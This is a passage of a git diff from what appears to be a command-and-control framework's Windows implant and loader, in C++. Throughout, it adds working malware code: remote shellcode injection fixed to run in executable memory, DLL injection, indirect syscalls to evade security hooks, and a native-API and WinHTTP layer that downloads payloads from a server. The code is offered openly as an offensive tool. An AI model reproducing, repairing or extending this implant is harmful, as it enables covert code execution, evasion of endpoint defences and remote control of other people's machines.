- pSyscalls->sysNtCreateThreadEx = FindSyscall(hNTDLL, "NtCreateThreadEx"); - pSyscalls->sysNtWaitForSingleObject = FindSyscall(hNTDLL, "NtWaitForSingleObject"); - pSyscalls->sysNtClose = FindSyscall(hNTDLL, "NtClose"); - - return pSyscalls; - } } \ No newline at end of file diff --git a/payload/win/implant/src/core/system/fs.cpp b/payload/win/implant/src/core/system/fs.cpp index ec96eca..19fe263 100644 --- a/payload/win/implant/src/core/system/fs.cpp +++ b/payload/win/implant/src/core/system/fs.cpp @@ -212,23 +212,41 @@ namespace System::Fs IO_STATUS_BLOCK ioStatusBlock; OBJECT_ATTRIBUTES objAttr; UNICODE_STRING uniFilePath; - + pProcs->lpRtlInitUnicodeString(&uniFilePath, wFileAbsPath.c_str()); InitializeObjectAttributes(&objAttr, &uniFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL); - status = pProcs->lpNtCreateFile( + // status = pProcs->lpNtCreateFile( + // &hFile, + // FILE_GENERIC_READ, + // &objAttr, + // &ioStatusBlock, + // NULL, + // FILE_ATTRIBUTE_NORMAL, + // FILE_SHARE_READ, + // OPEN_EXISTING, + // FILE_SYNCHRONOUS_IO_NONALERT, + // NULL, + // 0 + // ); + // } + + status = CallSysInvoke( + &pProcs->sysNtCreateFile, + pProcs->lpNtCreateFile, &hFile, FILE_GENERIC_READ, &objAttr, &ioStatusBlock, - NULL, + (PLARGE_INTEGER)nullptr, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, OPEN_EXISTING, FILE_SYNCHRONOUS_IO_NONALERT, - NULL, + nullptr, 0 ); + if (status != STATUS_SUCCESS) { return std::vector(); diff --git a/payload/win/implant/src/core/system/process.cpp b/payload/win/implant/src/core/system/process.cpp index 3ae1445..0eaaaeb 100644 --- a/payload/win/implant/src/core/system/process.cpp +++ b/payload/win/implant/src/core/system/process.cpp @@ -8,7 +8,6 @@ namespace System::Process DWORD dwDesiredAccess, HANDLE hParentProcess ) { - NTSTATUS status; HANDLE hProcess; OBJECT_ATTRIBUTES objAttr; UNICODE_STRING uniAppName; @@ -17,7 +16,7 @@ namespace System::Process RtlInitUnicodeString(&uniAppName, lpApplicationName); // Create a new process. - status = pProcs->lpNtCreateProcess( + NTSTATUS status = pProcs->lpNtCreateProcess( &hProcess, dwDesiredAccess, &objAttr, @@ -52,6 +51,7 @@ namespace System::Process &oa, &clientId ); + return hProcess; } @@ -96,12 +96,18 @@ namespace System::Process SIZE_T dwSize, DWORD dwFreeType ) { - return pProcs->lpNtFreeVirtualMemory( + NTSTATUS status = pProcs->lpNtFreeVirtualMemory( hProcess, lpBaseAddr, &dwSize, dwFreeType ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + + return TRUE; } BOOL VirtualMemoryWrite( @@ -135,7 +141,7 @@ namespace System::Process HANDLE hThread; static OBJECT_ATTRIBUTES oa = { sizeof(oa) }; - NTSTATUS ntStatus = pProcs->lpNtCreateThreadEx( + NTSTATUS status = pProcs->lpNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, @@ -148,12 +154,12 @@ namespace System::Process 0, NULL ); - if (ntStatus != STATUS_SUCCESS) + if (status != STATUS_SUCCESS) { return NULL; } - return NULL; + return hThread; } std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd) diff --git a/payload/win/implant/src/core/task/dll.cpp b/payload/win/implant/src/core/task/dll.cpp index 9ad928a..7262704 100644 --- a/payload/win/implant/src/core/task/dll.cpp +++ b/payload/win/implant/src/core/task/dll.cpp @@ -32,7 +32,7 @@ namespace Task // Inject DLL if (!Technique::Injection::DllInjection(pState->pProcs, dwPid, (LPVOID)wDllDest.c_str(), dwDllDestSize)) { - return L"Error: Failed to injection DLL."; + return L"Error: Failed to inject DLL."; } return L"Success: Dll injected successfully."; diff --git a/payload/win/implant/src/core/technique/injection/dll_injection.cpp b/payload/win/implant/src/core/technique/injection/dll_injection.cpp index ed0d82f..6f60c99 100644 --- a/payload/win/implant/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/dll_injection.cpp @@ -31,6 +31,7 @@ namespace Technique::Injection ); if (!pBaseAddr) { + pProcs->lpNtClose(hProcess); return FALSE; } @@ -49,6 +50,7 @@ namespace Technique::Injection 0, MEM_RELEASE ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -65,6 +67,7 @@ namespace Technique::Injection 0, MEM_RELEASE ); + pProcs->lpNtClose(hProcess); return FALSE; } @@ -87,10 +90,10 @@ namespace Technique::Injection return FALSE; } - // pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - // pProcs->lpNtClose(hProcess); - // pProcs->lpNtClose(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } diff --git a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp index 3ee8f38..cab4388 100644 --- a/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/shellcode_injection.cpp @@ -7,7 +7,6 @@ namespace Technique::Injection HANDLE hProcess; HANDLE hThread; PVOID pBaseAddr; - BOOL bResults; hProcess = System::Process::ProcessOpen(pProcs, dwPID, PROCESS_ALL_ACCESS); if (!hProcess) @@ -20,7 +19,7 @@ namespace Technique::Injection hProcess, shellcode.size(), MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE + PAGE_EXECUTE_READWRITE ); if (!pBaseAddr) { @@ -50,8 +49,8 @@ namespace Technique::Injection hThread = System::Process::RemoteThreadCreate( pProcs, hProcess, - NULL, - pBaseAddr + (LPTHREAD_START_ROUTINE)pBaseAddr, + NULL ); if (!hThread) { @@ -66,10 +65,10 @@ namespace Technique::Injection return FALSE; } - // pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); + pProcs->lpNtWaitForSingleObject(hThread, FALSE, NULL); - // pProcs->lpNtClose(hProcess); - // pProcs->lpNtClose(hThread); + pProcs->lpNtClose(hProcess); + pProcs->lpNtClose(hThread); return TRUE; } diff --git a/payload/win/implant/src/hermit.cpp b/payload/win/implant/src/hermit.cpp index 6f5bd95..bc3cee7 100644 --- a/payload/win/implant/src/hermit.cpp +++ b/payload/win/implant/src/hermit.cpp @@ -22,7 +22,15 @@ namespace Hermit LPCWSTR lpKey, LPCWSTR lpIV ) { - HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); + // TEST (I'll remove the following lines eventually) ---------------------- + // Cord sysCord; + // sysCord.x = 10; + // sysCord.y = 20; + // DWORD c = SysSample(&sysCord); + // Stdout::DisplayMessageBoxA(std::to_string(c).c_str(), "SysSample3"); + // ------------------------------------------------------------------------ + + HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); if (!hNTDLL) { return; diff --git a/payload/win/stager/CMakeLists.txt b/payload/win/loader/CMakeLists.txt similarity index 94% rename from payload/win/stager/CMakeLists.txt rename to payload/win/loader/CMakeLists.txt index 8f054cb..33e910a 100644 --- a/payload/win/stager/CMakeLists.txt +++ b/payload/win/loader/CMakeLists.txt @@ -45,15 +45,16 @@ set(COMMON_SOURCES src/core/stdout.cpp src/core/system/arch.cpp src/core/system/env.cpp + src/core/system/fs.cpp src/core/system/http.cpp src/core/system/process.cpp src/core/utils/convert.cpp ) -if(${PAYLOAD_TYPE} STREQUAL \"dll-loader\") +if(${PAYLOAD_TYPE} STREQUAL \"dll\") set(SOURCE src/main/dll_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) -elseif(${PAYLOAD_TYPE} STREQUAL \"exec-loader\") +elseif(${PAYLOAD_TYPE} STREQUAL \"exec\") set(SOURCE src/main/exec_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) -elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode-loader\") +elseif(${PAYLOAD_TYPE} STREQUAL \"shellcode\") set(SOURCE src/main/shellcode_loader_${PAYLOAD_FORMAT}.cpp ${COMMON_SOURCES}) endif() diff --git a/payload/win/stager/include/core/crypt.hpp b/payload/win/loader/include/core/crypt.hpp similarity index 100% rename from payload/win/stager/include/core/crypt.hpp rename to payload/win/loader/include/core/crypt.hpp diff --git a/payload/win/stager/include/core/handler.hpp b/payload/win/loader/include/core/handler.hpp similarity index 100% rename from payload/win/stager/include/core/handler.hpp rename to payload/win/loader/include/core/handler.hpp diff --git a/payload/win/stager/include/core/macros.hpp b/payload/win/loader/include/core/macros.hpp similarity index 100% rename from payload/win/stager/include/core/macros.hpp rename to payload/win/loader/include/core/macros.hpp diff --git a/payload/win/loader/include/core/procs.hpp b/payload/win/loader/include/core/procs.hpp new file mode 100644 index 0000000..ce755bc --- /dev/null +++ b/payload/win/loader/include/core/procs.hpp @@ -0,0 +1,134 @@ +#ifndef HERMIT_CORE_PROCS_HPP +#define HERMIT_CORE_PROCS_HPP + +#include +#include +#include +#include + +namespace Procs +{ + // **NATIVE APIs** + // NtCreateProcess + typedef NTSTATUS (NTAPI* LPPROC_NTCREATEPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess, BOOLEAN InheritObjectTable, HANDLE SectionHandle, HANDLE DebugPort, HANDLE TokenHandle); + // NtOpenProcess + typedef NTSTATUS (NTAPI* LPPROC_NTOPENPROCESS)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); + // NtTerminateProcess + typedef NTSTATUS (NTAPI* LPPROC_NTTERMINATEPROCESS)(HANDLE ProcessHandle, NTSTATUS ExitStatus); + // NtSetInformationProcess + typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONPROCESS)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength); + // NtCreateThreadEx + typedef NTSTATUS (NTAPI* LPPROC_NTCREATETHREADEX)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID lpBytesBuffer); + // NtResumeThread + typedef NTSTATUS (NTAPI* LPPROC_NTRESUMETHREAD)(HANDLE ThreadHandle, PULONG PreviousSuspendCount); + // NtAllocateVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTALLOCATEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + // NtWriteVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTWRITEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); + // NtFreeVirtualMemory + typedef NTSTATUS (NTAPI* LPPROC_NTFREEVIRTUALMEMORY)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); + // NtDuplicateObject + typedef NTSTATUS (NTAPI* LPPROC_NTDUPLICATEOBJECT)(HANDLE SourceProcessHandle, PHANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, BOOLEAN InheritHandle, ULONG Options); + // NtWaitForSingleObject + typedef NTSTATUS (NTAPI* LPPROC_NTWAITFORSINGLEOBJECT)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout); + // NtClose + typedef NTSTATUS (NTAPI* LPPROC_NTCLOSE)(HANDLE Handle); + // NtCreateFile + typedef NTSTATUS (NTAPI* LPPROC_NTCREATEFILE)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + // NtReadFile + typedef NTSTATUS (NTAPI* LPPROC_NTREADFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key); + // NtWriteFile + typedef NTSTATUS (NTAPI* LPPROC_NTWRITEFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key); + // NtCreateNamedPipeFile + typedef NTSTATUS (NTAPI* LPPROC_NTCREATENAMEDPIPEFILE)(PHANDLE FileHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, ULONG NamedPipeType, ULONG ReadMode, ULONG CompletionMode, ULONG MaximumInstances, ULONG InboundQuota, ULONG OutboundQuota, PLARGE_INTEGER DefaultTimeout); + // NtQueryInformationFile + typedef NTSTATUS (NTAPI* LPPROC_NTQUERYINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); + // NtSetInformationFile + typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); + + // **NATIVE APIs (Runtime Library)** + // RtlAllocateHeap + typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); + // RtlZeroMemory + typedef VOID (NTAPI* LPPROC_RTLZEROMEMORY)(PVOID Destination, SIZE_T Length); + // RtlInitUnicodeString + typedef NTSTATUS (NTAPI* LPPROC_RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + // RtlStringCatW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCATW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc); + // RtlStringCchCopyW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHCOPYW)(LPWSTR pszDest, SIZE_T cchDest, LPCWSTR pszSrc); + // RtlStringCchLengthW + typedef NTSTATUS (NTAPI* LPPROC_RTLSTRINGCCHLENGTHW)(PCWSTR psz, SIZE_T cchMax, SIZE_T *pcchLength); + // RtlQuerySystemInformation + typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); + // RtlExpandEnvironmentStrings + typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength); + // RtlNtStatusToDosError + typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status); + + // **WINAPIs** + typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPEN)(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); + typedef HINTERNET (WINAPI* LPPROC_WINHTTPCONNECT)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); + typedef HINTERNET (WINAPI* LPPROC_WINHTTPOPENREQUEST)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); + typedef BOOL (WINAPI* LPPROC_WINHTTPSETOPTION)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); + typedef BOOL (WINAPI* LPPROC_WINHTTPSENDREQUEST)(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); + typedef BOOL (WINAPI* LPPROC_WINHTTPWRITEDATA)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); + typedef BOOL (WINAPI* LPPROC_WINHTTPRECEIVERESPONSE)(HINTERNET hRequest, LPVOID lpReserved); + typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYHEADERS)(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); + typedef BOOL (WINAPI* LPPROC_WINHTTPQUERYDATAAVAILABLE)(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); + typedef BOOL (WINAPI* LPPROC_WINHTTPREADDATA)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesLength, LPDWORD lpdwNumberOfBytesRead); + typedef BOOL (WINAPI* LPPROC_WINHTTPCLOSEHANDLE)(HINTERNET hInternet); + + struct PROCS + { + // **NATIVE APIs** + LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr; + LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr; + LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr; + LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr; + LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr; + LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr; + LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr; + LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; + LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr; + LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr; + LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr; + LPPROC_NTCLOSE lpNtClose = nullptr; + LPPROC_NTCREATEFILE lpNtCreateFile = nullptr; + LPPROC_NTREADFILE lpNtReadFile = nullptr; + LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; + LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr; + LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr; + LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr; + + // **RUNTIME LIBRARY APIs** + LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; + LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr; + LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr; + LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr; + LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr; + LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr; + LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr; + LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; + LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr; + + // **WINAPIs** + LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr; + LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr; + LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr; + LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr; + LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr; + LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr; + LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr; + LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr; + LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr; + LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr; + LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr; + }; + + typedef PROCS* PPROCS; + + PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls); +} + +#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/state.hpp b/payload/win/loader/include/core/state.hpp similarity index 100% rename from payload/win/stager/include/core/state.hpp rename to payload/win/loader/include/core/state.hpp diff --git a/payload/win/stager/include/core/stdout.hpp b/payload/win/loader/include/core/stdout.hpp similarity index 100% rename from payload/win/stager/include/core/stdout.hpp rename to payload/win/loader/include/core/stdout.hpp diff --git a/payload/win/loader/include/core/system.hpp b/payload/win/loader/include/core/system.hpp new file mode 100644 index 0000000..edc9c93 --- /dev/null +++ b/payload/win/loader/include/core/system.hpp @@ -0,0 +1,150 @@ +#ifndef HERMIT_CORE_SYSTEM_HPP +#define HERMIT_CORE_SYSTEM_HPP + +#include +#include +#include +#include +#include + +#include "core/crypt.hpp" +#include "core/procs.hpp" +#include "core/stdout.hpp" +#include "core/utils.hpp" + +namespace System::Arch +{ + std::wstring GetName(WORD wProcessorArchitecture); +} + +namespace System::Env +{ + std::wstring GetStrings(const std::wstring& envVar); +} + +namespace System::Process +{ + HANDLE ProcessCreate( + Procs::PPROCS pProcs, + LPCWSTR lpApplicationName, + DWORD dwDesiredAccess, // e.g. PROCESS_ALL_ACCESS + HANDLE hParentProcess + ); + DWORD GetProcessIdByName(LPCWSTR lpProcessName); + HANDLE ProcessOpen( + Procs::PPROCS pProcs, + DWORD dwProcessID, + DWORD dwDesiredAccess + ); + BOOL ProcessTerminate( + Procs::PPROCS pProcs, + HANDLE hProcess, + NTSTATUS ntStatus + ); + PVOID VirtualMemoryAllocate( + Procs::PPROCS pProcs, + HANDLE hProcess, + DWORD dwSize, + DWORD dwAllocationType, // e.g. MEM_COMMIT | MEM_RESERVE + DWORD dwProtect // e.g. PAGE_READWRITE + ); + BOOL VirtualMemoryFree( + Procs::PPROCS pProcs, + HANDLE hProcess, + PVOID* lpBaseAddr, + SIZE_T dwSize, + DWORD dwFreeType + ); + BOOL VirtualMemoryWrite( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPVOID lpBaseAddr, + LPVOID lpBuffer, + DWORD dwBufferSize, + PDWORD lpNumberOfBytesWritten + ); + HANDLE RemoteThreadCreate( + Procs::PPROCS pProcs, + HANDLE hProcess, + LPTHREAD_START_ROUTINE lpThreadStartRoutineAddr, + PVOID pArgument + ); + + std::wstring ExecuteCmd(Procs::PPROCS pProcs, const std::wstring& wCmd); + BOOL ExecuteFile(Procs::PPROCS pProcs, const std::wstring& wFilePath); +} + +namespace System::Fs +{ + std::wstring GetAbsolutePath( + const std::wstring& wPath, + BOOL bExtendLength + ); + HANDLE CreateNewFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath + ); + BOOL WriteBytesToFile( + Procs::PPROCS pProcs, + const std::wstring& wFilePath, + const std::vector& bytes + ); +} + +namespace System::Http +{ + struct WinHttpHandlers { + HINTERNET hSession; + HINTERNET hConnect; + }; + + struct WinHttpResponse { + BOOL bResult; + HINTERNET hRequest; + DWORD dwStatusCode; + }; + + WinHttpHandlers InitRequest( + Procs::PPROCS pProcs, + LPCWSTR lpHost, + INTERNET_PORT nPort + ); + WinHttpResponse SendRequest( + Procs::PPROCS pProcs, + HINTERNET hConnect, + LPCWSTR lpHost, + INTERNET_PORT nPort, + LPCWSTR lpPath, + LPCWSTR lpMethod, + LPCWSTR lpHeaders, + LPVOID lpData, + DWORD dwDataLength + ); + std::vector ReadResponseBytes( + Procs::PPROCS pProcs, + HINTERNET hRequest + ); + std::wstring ReadResponseText( + Procs::PPROCS pProcs, + HINTERNET hRequest + ); + BOOL DownloadFile( + Procs::PPROCS pProcs, + Crypt::PCRYPT pCrypt, + HINTERNET hConnect, + LPCWSTR lpHost, + INTERNET_PORT nPort, + LPCWSTR lpPath, + LPCWSTR lpHeaders, + const std::wstring& wInfoJSON, + const std::wstring& wDest + ); + VOID WinHttpCloseHandles( + Procs::PPROCS pProcs, + HINTERNET hSession, + HINTERNET hConnect, + HINTERNET hRequest + ); +} + +#endif // HERMIT_CORE_SYSTEM_HPP \ No newline at end of file diff --git a/payload/win/loader/include/core/technique.hpp b/payload/win/loader/include/core/technique.hpp new file mode 100644 index 0000000..4a9d387 --- /dev/null +++ b/payload/win/loader/include/core/technique.hpp @@ -0,0 +1,22 @@ +#ifndef HERMIT_CORE_TECHNIQUE_HPP +#define HERMIT_CORE_TECHNIQUE_HPP + +#include +#include +#include + +#include "core/procs.hpp" +#include "core/stdout.hpp" +#include "core/system.hpp" + +namespace Technique::Injection +{ + BOOL DLLInjection(Procs::PPROCS pProcs, DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize); + BOOL ReflectiveDLLInjection(Procs::PPROCS pProcs, LPCWSTR lpDllPath, size_t dwDllPathSize); + + BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode); + BOOL ShellcodeExecutionViaFibers(Procs::PPROCS pProcs, const std::vector& shellcode); + BOOL ShellcodeExecutionViaAPCAndNtTestAlert(Procs::PPROCS pProcs, const std::vector& shellcode); +} + +#endif // HERMIT_CORE_TECHNIQUE_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/utils.hpp b/payload/win/loader/include/core/utils.hpp similarity index 100% rename from payload/win/stager/include/core/utils.hpp rename to payload/win/loader/include/core/utils.hpp diff --git a/payload/win/stager/include/hermit.hpp b/payload/win/loader/include/hermit.hpp similarity index 100% rename from payload/win/stager/include/hermit.hpp rename to payload/win/loader/include/hermit.hpp diff --git a/payload/win/stager/src/core/crypt.cpp b/payload/win/loader/src/core/crypt.cpp similarity index 100% rename from payload/win/stager/src/core/crypt.cpp rename to payload/win/loader/src/core/crypt.cpp diff --git a/payload/win/stager/src/core/handler.cpp b/payload/win/loader/src/core/handler.cpp similarity index 100% rename from payload/win/stager/src/core/handler.cpp rename to payload/win/loader/src/core/handler.cpp diff --git a/payload/win/loader/src/core/procs.cpp b/payload/win/loader/src/core/procs.cpp new file mode 100644 index 0000000..b4667d9 --- /dev/null +++ b/payload/win/loader/src/core/procs.cpp @@ -0,0 +1,49 @@ +#include "core/procs.hpp" + +namespace Procs +{ + PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL, BOOL bIndirectSyscall) + { + PPROCS pProcs = new PROCS; + + // NTAPIs + pProcs->lpNtCreateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateProcess")); + pProcs->lpNtOpenProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtOpenProcess")); + pProcs->lpNtTerminateProcess = reinterpret_cast(GetProcAddress(hNTDLL, "NtTerminateProcess")); + pProcs->lpNtCreateThreadEx = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateThreadEx")); + pProcs->lpNtResumeThread = reinterpret_cast(GetProcAddress(hNTDLL, "NtResumeThread")); + pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtAllocateVirtualMemory")); + pProcs->lpNtWriteVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteVirtualMemory")); + pProcs->lpNtFreeVirtualMemory = reinterpret_cast(GetProcAddress(hNTDLL, "NtFreeVirtualMemory")); + pProcs->lpNtDuplicateObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtDuplicateObject")); + pProcs->lpNtWaitForSingleObject = reinterpret_cast(GetProcAddress(hNTDLL, "NtWaitForSingleObject")); + pProcs->lpNtClose = reinterpret_cast(GetProcAddress(hNTDLL, "NtClose")); + pProcs->lpNtCreateFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtCreateFile")); + pProcs->lpNtReadFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtReadFile")); + pProcs->lpNtWriteFile = reinterpret_cast(GetProcAddress(hNTDLL, "NtWriteFile")); + + // NTAPIs (Runtime Library) + pProcs->lpRtlAllocateHeap = reinterpret_cast(GetProcAddress(hNTDLL, "RtlAllocateHeap")); + pProcs->lpRtlZeroMemory = reinterpret_cast(GetProcAddress(hNTDLL, "RtlZeroMemory")); + pProcs->lpRtlInitUnicodeString = reinterpret_cast(GetProcAddress(hNTDLL, "RtlInitUnicodeString")); + pProcs->lpRtlStringCchCatW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCatW")); + pProcs->lpRtlStringCchCopyW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCopyW")); + pProcs->lpRtlStringCchLengthW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchLengthW")); + pProcs->lpRtlNtStatusToDosError = reinterpret_cast(GetProcAddress(hNTDLL, "RtlNtStatusToDosError")); + + // WINAPIs + pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); + pProcs->lpWinHttpConnect = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpConnect")); + pProcs->lpWinHttpOpenRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpenRequest")); + pProcs->lpWinHttpSetOption = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSetOption")); + 